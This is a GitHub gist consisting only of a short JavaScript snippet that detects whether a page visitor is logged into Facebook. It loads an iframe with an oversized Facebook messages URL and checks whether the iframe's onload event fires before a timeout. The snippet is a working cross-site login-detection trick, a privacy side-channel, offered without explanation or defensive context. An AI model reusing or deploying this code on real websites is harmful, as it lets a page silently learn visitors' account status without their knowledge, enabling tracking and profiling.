Skip to content

Instantly share code, notes, and snippets.

@pjstorm
Last active Aug 29, 2015
Embed
What would you like to do?
var a='';
for(var i=0;i<50000;i++){a+='=';}
var wait = setTimeout(function(){
alert('Logged in fb')
},15000)
var cb=function(){
clearTimeout(wait);
alert('Not logged in fb');
}
a='https://www.facebook.com/messages/new?'+a;
console.log(a.length);
document.write('<iframe onload="cb()" src="'+a+'"></iframe>')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment